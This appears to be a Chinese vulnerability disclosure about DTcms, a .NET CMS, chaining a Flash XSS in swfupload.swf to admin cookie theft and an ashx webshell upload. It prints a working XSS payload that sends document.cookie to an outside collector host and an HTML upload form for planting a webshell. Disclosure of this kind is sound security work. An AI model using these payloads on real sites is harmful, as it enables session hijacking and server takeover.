DTcms:http://www.dtcms.net/index.aspx 一个开源.netcms,VS2010装MVC、编译发布、搭环境都花了半天,还好这个cms不要mssql,否则更麻烦。 扯点淡:来乌云也快一年了,一年里确实学到了很多知识。从最开始完全不懂PHP到现在能独立挖掘一些 漏洞 ,写一些exp,也算是时间没有荒废。 然后,认识了一些基友,别人身上也学到很多自己不知道的东西。 期间也有过痛苦、开心、难过、兴奋,遇见过无耻的厂商,也收到过良心厂商的礼物。 还希望以后仍然能愉快地在乌云和各位喝个茶、聊个天,挖洞不在奖励的多少,学习是最重要。 初学.net架构,感觉这才是真正的[safe in default],比如参数化查询、默认XSS防御机制,感觉挺好的,微软确实也是一个不错的厂商。希望以后学到更多.net的知识。 好不容易放暑假了,结果比上学还忙。只能大夜里看点代码,白天各种事。。。 之前提的一个任意文件删除。。。重复了。。。之后就一直没时间看
首先前台一个普通的flash xss
http://demo.dtcms.net/scripts/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//通过这个xss可以获得管理员cookie:
http://www.test.com/scripts/swfupload/swfupload.swf?movieName=%22%5D)%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x%3D1%3B(function()%7B(new%20Image()).src%3D'http%3A%2F%2Fxssan.com%2Findex.php%3Fdo%3Dapi%26id%3DSSI7Wt%26cookie%3D'%2Bescape(document.cookie)%3B%7D)()%3B%7D%7D%2F%2F
然后,这个cms有点奇葩的就是,虽然session id是http only的,但cookie中还有管理员的账号密码(加密过),没有http only的,如上图:AdminName=DTcms=admin;AdminPwd=DTcms=BB59946C93C0DEE8082F292B3A0FC7FF cookie中包含这个AdminName和AdminPwd就可以登录后台。 登录了后台,怎么拿shell? 后台可以修改文件上传类型:
虽然在上传的时候限制了不能上传{ "asp", "aspx", "php", " jsp ", "htm", " html " },这些文件:
不过明显还有很多方法突破: 1.IIS6下可以用解析漏洞 2.未限制ashx/asa等格式,可以直接传一个ashx webshell。 然后本地构造一个上传单页,向http://www.test.com/tools/upload_ajax.ashx 处上传即可:
<form name="form" method="post" action="http://www.test.com/tools/upload_ajax.ashx" enctype="multipart/form-data" > <input type="file" name="Filedata"> <input type="submit" name="Submit" value="上传" ></form>
官网演示站:
演示站后台没有设置后缀名的权限,我就不在演示站测试了。 本地测试一下即可。 增加ashx后缀:
上传:
菜刀连接:
修复方案:
删除没用的swf
查看更多关于dtcms从前台Flash XSS到后台Getshell - 网站安的详细内容...